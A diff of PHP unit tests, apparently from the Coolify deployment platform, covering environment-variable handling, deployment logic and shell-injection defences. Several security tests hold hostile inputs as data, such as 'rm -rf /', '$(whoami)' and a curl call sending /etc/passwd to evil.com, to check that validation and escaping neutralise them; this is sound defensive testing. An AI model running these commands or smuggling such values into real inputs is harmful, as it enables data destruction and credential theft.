// Nixpacks requires all variable values to be strings, so null causes:
|
||||
// "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string"
|
||||
|
||||
// Simulate the coolify env collection with null values (as produced when fqdn is null)
|
||||
$coolify_envs = collect([
|
||||
'COOLIFY_URL' => null,
|
||||
'COOLIFY_FQDN' => null,
|
||||
'COOLIFY_BRANCH' => 'main',
|
||||
'COOLIFY_RESOURCE_UUID' => 'abc123',
|
||||
'COOLIFY_CONTAINER_NAME' => '',
|
||||
]);
|
||||
|
||||
// Apply the same filtering logic used in generate_env_variables()
|
||||
$env_args = collect([]);
|
||||
$coolify_envs->each(function ($value, $key) use ($env_args) {
|
||||
if (! is_null($value) && $value !== '') {
|
||||
$env_args->put($key, $value);
|
||||
}
|
||||
});
|
||||
|
||||
// Null values must NOT be present — they cause nixpacks JSON parse errors
|
||||
expect($env_args->has('COOLIFY_URL'))->toBeFalse();
|
||||
expect($env_args->has('COOLIFY_FQDN'))->toBeFalse();
|
||||
expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse();
|
||||
|
||||
// Non-null values must be preserved
|
||||
expect($env_args->get('COOLIFY_BRANCH'))->toBe('main');
|
||||
expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123');
|
||||
|
||||
// The resulting array must be safe for json_encode into nixpacks config
|
||||
$json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT);
|
||||
$parsed = json_decode($json, true);
|
||||
foreach ($parsed['variables'] as $value) {
|
||||
expect($value)->toBeString();
|
||||
}
|
||||
});
|
||||
|
||||
it('preserves environment variables with zero values', function () {
|
||||
// Mock application with nixpacks build pack
|
||||
$mockApplication = Mockery::mock(Application::class);
|
||||
@@ -293,7 +335,7 @@ it('preserves environment variables with zero values', function () {
|
||||
$envArgsProperty->setAccessible(true);
|
||||
$envArgs = $envArgsProperty->getValue($job);
|
||||
|
||||
// Verify that zero and false string values are preserved
|
||||
expect($envArgs)->toContain('--env ZERO_VALUE=0');
|
||||
expect($envArgs)->toContain('--env FALSE_VALUE=false');
|
||||
// Verify that zero and false string values are preserved (values are now single-quote escaped)
|
||||
expect($envArgs)->toContain("--env 'ZERO_VALUE=0'");
|
||||
expect($envArgs)->toContain("--env 'FALSE_VALUE=false'");
|
||||
});
|
||||
@@ -1,11 +1,54 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GithubApp;
|
||||
|
||||
it('treats zero private key id as deploy key', function () {
|
||||
$application = new Application();
|
||||
it('returns deploy_key when private_key_id is a real key', function () {
|
||||
$application = new Application;
|
||||
$application->private_key_id = 5;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns deploy_key when private_key_id is a real key even with source', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = 5;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5);
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns source when private_key_id is null and source exists', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = null;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
expect($application->deploymentType())->toBe('source');
|
||||
});
|
||||
|
||||
it('returns source when private_key_id is zero and source exists', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->private_key_id = 0;
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0);
|
||||
|
||||
expect($application->deploymentType())->toBe('source');
|
||||
});
|
||||
|
||||
it('returns deploy_key when private_key_id is zero and no source', function () {
|
||||
$application = new Application;
|
||||
$application->private_key_id = 0;
|
||||
$application->source = null;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
|
||||
it('returns other when private_key_id is null and no source', function () {
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn(null);
|
||||
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
expect($application->deploymentType())->toBe('other');
|
||||
});
|
||||
@@ -11,7 +11,6 @@
|
||||
use App\Models\Application;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use Illuminate\Support\Collection;
|
||||
use Mockery;
|
||||
|
||||
beforeEach(function () {
|
||||
// Clean up Mockery after each test
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use Mockery;
|
||||
|
||||
/**
|
||||
* Unit tests to verify that containers without health checks are not
|
||||
|
||||
@@ -81,3 +81,144 @@ test('database backup accepts legitimate database names', function () {
|
||||
expect(fn () => validateShellSafePath('test123', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- MongoDB collection name validation tests ---
|
||||
|
||||
test('mongodb collection name rejects command substitution injection', function () {
|
||||
expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects backtick injection', function () {
|
||||
expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects semicolon injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects ampersand injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('mongodb collection name rejects redirect injection', function () {
|
||||
expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
|
||||
// Valid MongoDB formats should pass
|
||||
expect(fn () => validateDatabasesBackupInput('mydb'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateDatabasesBackupInput('all'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput rejects injection in collection names', function () {
|
||||
// Command substitution in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Backtick injection in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
// Semicolon in collection name
|
||||
expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
|
||||
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Credential escaping tests for database backup commands ---
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres password', function () {
|
||||
$maliciousPassword = '"; rm -rf / #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// The escaped value must be a single shell token that cannot break out
|
||||
expect($escaped)->not->toContain("\n");
|
||||
expect($escaped)->toBe("'\"; rm -rf / #'");
|
||||
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
|
||||
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
|
||||
expect($command)->toContain("PGPASSWORD='");
|
||||
expect($command)->not->toContain('PGPASSWORD=""');
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in postgres username', function () {
|
||||
$maliciousUser = 'admin$(whoami)';
|
||||
$escaped = escapeshellarg($maliciousUser);
|
||||
|
||||
expect($escaped)->toBe("'admin\$(whoami)'");
|
||||
$command = "docker exec container pg_dump --username $escaped";
|
||||
// The $() should be inside single quotes, preventing execution
|
||||
expect($command)->toContain("--username 'admin\$(whoami)'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mysql password', function () {
|
||||
$maliciousPassword = 'pass" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
$command = "docker exec container mysqldump -u root -p$escaped db";
|
||||
// The password must be wrapped in single quotes
|
||||
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
|
||||
});
|
||||
|
||||
test('escapeshellarg neutralizes command injection in mariadb password', function () {
|
||||
$maliciousPassword = "pass'; whoami; echo '";
|
||||
$escaped = escapeshellarg($maliciousPassword);
|
||||
|
||||
// Single quotes in the value get escaped as '\''
|
||||
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
|
||||
$command = "docker exec container mariadb-dump -u root -p$escaped db";
|
||||
// Verify the command doesn't contain an unescaped semicolon outside quotes
|
||||
expect($command)->toContain("-p'pass'");
|
||||
});
|
||||
|
||||
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
|
||||
$maliciousUser = 'admin";$(whoami)';
|
||||
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
|
||||
|
||||
$encodedUser = rawurlencode($maliciousUser);
|
||||
$encodedPass = rawurlencode($maliciousPass);
|
||||
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
|
||||
|
||||
// Special characters should be percent-encoded
|
||||
expect($encodedUser)->not->toContain('"');
|
||||
expect($encodedUser)->not->toContain('$');
|
||||
expect($encodedUser)->not->toContain('(');
|
||||
expect($encodedPass)->not->toContain('@');
|
||||
expect($encodedPass)->not->toContain('/');
|
||||
expect($encodedPass)->not->toContain('?');
|
||||
expect($encodedPass)->not->toContain('&');
|
||||
|
||||
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
|
||||
$atCount = substr_count($url, '@');
|
||||
expect($atCount)->toBe(1);
|
||||
});
|
||||
|
||||
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
|
||||
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
|
||||
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
|
||||
$escaped = escapeshellarg($maliciousUrl);
|
||||
|
||||
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
|
||||
// The entire URI must be inside single quotes
|
||||
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
|
||||
expect($command)->toContain("evil.com #'");
|
||||
// No unescaped double quotes that could break the command
|
||||
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('strips newlines from pre_deployment_command before building sh -c wrapper', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\necho injected");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->not->toContain("\r")
|
||||
->and($exec)->toContain('echo hello echo injected')
|
||||
->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
|
||||
});
|
||||
|
||||
it('strips carriage returns from deployment command', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\r\necho injected");
|
||||
|
||||
expect($exec)->not->toContain("\r")
|
||||
->and($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain('echo hello echo injected');
|
||||
});
|
||||
|
||||
it('strips bare carriage returns from deployment command', function () {
|
||||
$exec = buildDeploymentExecCommand("echo hello\recho injected");
|
||||
|
||||
expect($exec)->not->toContain("\r")
|
||||
->and($exec)->toContain('echo hello echo injected');
|
||||
});
|
||||
|
||||
it('leaves single-line deployment command unchanged', function () {
|
||||
$exec = buildDeploymentExecCommand('php artisan migrate --force');
|
||||
|
||||
expect($exec)->toContain("sh -c 'php artisan migrate --force'");
|
||||
});
|
||||
|
||||
it('prevents newline injection with malicious payload', function () {
|
||||
// Attacker tries to inject a second command via newline in heredoc transport
|
||||
$exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
// The entire command should be on a single line inside sh -c
|
||||
->and($exec)->toContain('harmless curl http://evil.com/exfil');
|
||||
});
|
||||
|
||||
it('handles multiple consecutive newlines', function () {
|
||||
$exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain('cmd1 cmd2');
|
||||
});
|
||||
|
||||
it('properly escapes single quotes after newline normalization', function () {
|
||||
$exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
|
||||
|
||||
expect($exec)->not->toContain("\n")
|
||||
->and($exec)->toContain("echo '\\''hello'\\''")
|
||||
->and($exec)->toContain("echo '\\''world'\\''");
|
||||
});
|
||||
|
||||
/**
|
||||
* Replicates the exact command-building logic from ApplicationDeploymentJob's
|
||||
* run_pre_deployment_command() and run_post_deployment_command() methods.
|
||||
*
|
||||
* This tests the security-critical str_replace + sh -c wrapping in isolation.
|
||||
*/
|
||||
function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
|
||||
{
|
||||
// This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
|
||||
$normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
|
||||
$cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
|
||||
|
||||
return "docker exec {$containerName} {$cmd}";
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Test to verify that docker-compose custom start commands use the correct
|
||||
* execution context based on the preserveRepository setting.
|
||||
*
|
||||
* When preserveRepository is enabled, the compose file and .env file are
|
||||
* written to the host at /data/coolify/applications/{uuid}/. The start
|
||||
* command must run on the host (not inside the helper container) so it
|
||||
* can access these files.
|
||||
*
|
||||
* When preserveRepository is disabled, the files are inside the helper
|
||||
* container at /artifacts/{uuid}/, so the command must run inside the
|
||||
* container via executeInDocker().
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/8417
|
||||
*/
|
||||
it('generates host command (not executeInDocker) when preserveRepository is true', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$basedir = '/artifacts/test-deployment-uuid';
|
||||
$preserveRepository = true;
|
||||
|
||||
$startCommand = 'docker compose -f /data/coolify/applications/app-uuid/compose.yml --env-file /data/coolify/applications/app-uuid/.env --profile all up -d';
|
||||
|
||||
// Simulate the logic from ApplicationDeploymentJob::deploy_docker_compose_buildpack()
|
||||
if ($preserveRepository) {
|
||||
$command = "cd {$serverWorkdir} && {$startCommand}";
|
||||
} else {
|
||||
$command = executeInDocker($deploymentUuid, "cd {$basedir} && {$startCommand}");
|
||||
}
|
||||
|
||||
// When preserveRepository is true, the command should NOT be wrapped in executeInDocker
|
||||
expect($command)->not->toContain('docker exec');
|
||||
expect($command)->toStartWith("cd {$serverWorkdir}");
|
||||
expect($command)->toContain($startCommand);
|
||||
});
|
||||
|
||||
it('generates executeInDocker command when preserveRepository is false', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$basedir = '/artifacts/test-deployment-uuid';
|
||||
$workdir = '/artifacts/test-deployment-uuid/backend';
|
||||
$preserveRepository = false;
|
||||
|
||||
$startCommand = 'docker compose -f /artifacts/test-deployment-uuid/backend/compose.yml --env-file /artifacts/test-deployment-uuid/backend/.env --profile all up -d';
|
||||
|
||||
// Simulate the logic from ApplicationDeploymentJob::deploy_docker_compose_buildpack()
|
||||
if ($preserveRepository) {
|
||||
$command = "cd {$serverWorkdir} && {$startCommand}";
|
||||
} else {
|
||||
$command = executeInDocker($deploymentUuid, "cd {$basedir} && {$startCommand}");
|
||||
}
|
||||
|
||||
// When preserveRepository is false, the command SHOULD be wrapped in executeInDocker
|
||||
expect($command)->toContain('docker exec');
|
||||
expect($command)->toContain($deploymentUuid);
|
||||
expect($command)->toContain("cd {$basedir}");
|
||||
});
|
||||
|
||||
it('uses host paths for env-file when preserveRepository is true', function () {
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$composeLocation = '/compose.yml';
|
||||
$preserveRepository = true;
|
||||
|
||||
$workdirPath = $preserveRepository ? $serverWorkdir : '/artifacts/deployment-uuid/backend';
|
||||
$startCommand = injectDockerComposeFlags(
|
||||
'docker compose --profile all up -d',
|
||||
"{$workdirPath}{$composeLocation}",
|
||||
"{$workdirPath}/.env"
|
||||
);
|
||||
|
||||
// Verify the injected paths point to the host filesystem
|
||||
expect($startCommand)->toContain("--env-file {$serverWorkdir}/.env");
|
||||
expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}");
|
||||
});
|
||||
|
||||
it('injects --project-directory with host path when preserveRepository is true', function () {
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$containerWorkdir = '/artifacts/deployment-uuid';
|
||||
$preserveRepository = true;
|
||||
|
||||
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
|
||||
|
||||
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
|
||||
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
|
||||
}
|
||||
|
||||
// When preserveRepository is true, --project-directory must point to host path
|
||||
expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}");
|
||||
expect($customStartCommand)->not->toContain('/artifacts/');
|
||||
});
|
||||
|
||||
it('injects --project-directory with container path when preserveRepository is false', function () {
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
$containerWorkdir = '/artifacts/deployment-uuid';
|
||||
$preserveRepository = false;
|
||||
|
||||
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
|
||||
|
||||
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
|
||||
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
|
||||
}
|
||||
|
||||
// When preserveRepository is false, --project-directory must point to container path
|
||||
expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}");
|
||||
expect($customStartCommand)->not->toContain('/data/coolify/applications/');
|
||||
});
|
||||
|
||||
it('does not override explicit --project-directory in custom start command', function () {
|
||||
$customProjectDir = '/custom/path';
|
||||
$customStartCommand = "docker compose --project-directory {$customProjectDir} up -d";
|
||||
|
||||
// Simulate the --project-directory injection — should be skipped
|
||||
if (! str($customStartCommand)->contains('--project-directory')) {
|
||||
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value();
|
||||
}
|
||||
|
||||
expect($customStartCommand)->toContain("--project-directory {$customProjectDir}");
|
||||
expect($customStartCommand)->not->toContain('/should-not-appear');
|
||||
});
|
||||
|
||||
it('uses container paths for env-file when preserveRepository is false', function () {
|
||||
$workdir = '/artifacts/deployment-uuid/backend';
|
||||
$composeLocation = '/compose.yml';
|
||||
$preserveRepository = false;
|
||||
$serverWorkdir = '/data/coolify/applications/app-uuid';
|
||||
|
||||
$workdirPath = $preserveRepository ? $serverWorkdir : $workdir;
|
||||
$startCommand = injectDockerComposeFlags(
|
||||
'docker compose --profile all up -d',
|
||||
"{$workdirPath}{$composeLocation}",
|
||||
"{$workdirPath}/.env"
|
||||
);
|
||||
|
||||
// Verify the injected paths point to the container filesystem
|
||||
expect($startCommand)->toContain("--env-file {$workdir}/.env");
|
||||
expect($startCommand)->toContain("-f {$workdir}{$composeLocation}");
|
||||
expect($startCommand)->not->toContain('/data/coolify/applications/');
|
||||
});
|
||||
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
|
||||
use App\Models\EnvironmentVariable;
|
||||
|
||||
test('fillable array contains all fields used in mass assignment across codebase', function () {
|
||||
$model = new EnvironmentVariable;
|
||||
$fillable = $model->getFillable();
|
||||
|
||||
// Core identification
|
||||
expect($fillable)->toContain('key')
|
||||
->toContain('value')
|
||||
->toContain('comment');
|
||||
|
||||
// Polymorphic relationship
|
||||
expect($fillable)->toContain('resourceable_type')
|
||||
->toContain('resourceable_id');
|
||||
|
||||
// Boolean flags — all used in create/firstOrCreate/updateOrCreate calls
|
||||
expect($fillable)->toContain('is_preview')
|
||||
->toContain('is_multiline')
|
||||
->toContain('is_literal')
|
||||
->toContain('is_runtime')
|
||||
->toContain('is_buildtime')
|
||||
->toContain('is_shown_once')
|
||||
->toContain('is_shared')
|
||||
->toContain('is_required');
|
||||
|
||||
// Metadata
|
||||
expect($fillable)->toContain('version')
|
||||
->toContain('order');
|
||||
});
|
||||
|
||||
test('is_required can be mass assigned', function () {
|
||||
$model = new EnvironmentVariable;
|
||||
$model->fill(['is_required' => true]);
|
||||
|
||||
expect($model->is_required)->toBeTrue();
|
||||
});
|
||||
|
||||
test('all boolean flags can be mass assigned', function () {
|
||||
$booleanFlags = [
|
||||
'is_preview',
|
||||
'is_multiline',
|
||||
'is_literal',
|
||||
'is_runtime',
|
||||
'is_buildtime',
|
||||
'is_shown_once',
|
||||
'is_required',
|
||||
];
|
||||
|
||||
$model = new EnvironmentVariable;
|
||||
$model->fill(array_fill_keys($booleanFlags, true));
|
||||
|
||||
foreach ($booleanFlags as $flag) {
|
||||
expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true");
|
||||
}
|
||||
|
||||
// is_shared has a computed getter derived from the value field,
|
||||
// so verify it's fillable via the underlying attributes instead
|
||||
$model2 = new EnvironmentVariable;
|
||||
$model2->fill(['is_shared' => true]);
|
||||
expect($model2->getAttributes())->toHaveKey('is_shared');
|
||||
});
|
||||
|
||||
test('non-fillable fields are rejected by mass assignment', function () {
|
||||
$model = new EnvironmentVariable;
|
||||
$model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']);
|
||||
|
||||
expect($model->id)->toBeNull()
|
||||
->and($model->uuid)->toBeNull()
|
||||
->and($model->created_at)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,141 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\EnvironmentVariable\Show;
|
||||
use App\Models\EnvironmentVariable;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
test('SERVICE_FQDN variables are identified as magic variables', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SERVICE_FQDN_DB');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeTrue();
|
||||
expect($component->isDisabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('SERVICE_URL variables are identified as magic variables', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SERVICE_URL_API');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeTrue();
|
||||
expect($component->isDisabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('SERVICE_NAME variables are identified as magic variables', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SERVICE_NAME');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeTrue();
|
||||
expect($component->isDisabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('regular variables are not magic variables', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('DATABASE_URL');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeFalse();
|
||||
expect($component->isDisabled)->toBeFalse();
|
||||
});
|
||||
|
||||
test('locked variables are not magic variables unless they start with SERVICE_', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SECRET_KEY');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(true);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeFalse();
|
||||
expect($component->isLocked)->toBeTrue();
|
||||
});
|
||||
|
||||
test('SERVICE_FQDN with port suffix is identified as magic variable', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SERVICE_FQDN_DB_5432');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeTrue();
|
||||
expect($component->isDisabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('SERVICE_URL with port suffix is identified as magic variable', function () {
|
||||
$mock = Mockery::mock(EnvironmentVariable::class);
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('key')
|
||||
->andReturn('SERVICE_URL_API_8080');
|
||||
$mock->shouldReceive('getAttribute')
|
||||
->with('is_shown_once')
|
||||
->andReturn(false);
|
||||
$mock->shouldReceive('getMorphClass')
|
||||
->andReturn(EnvironmentVariable::class);
|
||||
|
||||
$component = new Show;
|
||||
$component->env = $mock;
|
||||
$component->checkEnvs();
|
||||
|
||||
expect($component->isMagicVariable)->toBeTrue();
|
||||
expect($component->isDisabled)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,351 @@
|
||||
<?php
|
||||
|
||||
use function PHPUnit\Framework\assertNotNull;
|
||||
use function PHPUnit\Framework\assertNull;
|
||||
|
||||
// ─── Malformed Variables ───────────────────────────────────────────────────────
|
||||
|
||||
test('extractBalancedBraceContent handles empty variable name', function () {
|
||||
$result = extractBalancedBraceContent('${}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles empty variable name with default', function () {
|
||||
$split = splitOnOperatorOutsideNested(':-default');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('default');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles double opening brace', function () {
|
||||
$result = extractBalancedBraceContent('${{VAR}}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('{VAR}');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for empty string', function () {
|
||||
$result = extractBalancedBraceContent('', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for just dollar sign', function () {
|
||||
$result = extractBalancedBraceContent('$', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for just opening brace', function () {
|
||||
$result = extractBalancedBraceContent('{', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for just closing brace', function () {
|
||||
$result = extractBalancedBraceContent('}', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles extra closing brace', function () {
|
||||
$result = extractBalancedBraceContent('${VAR}}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
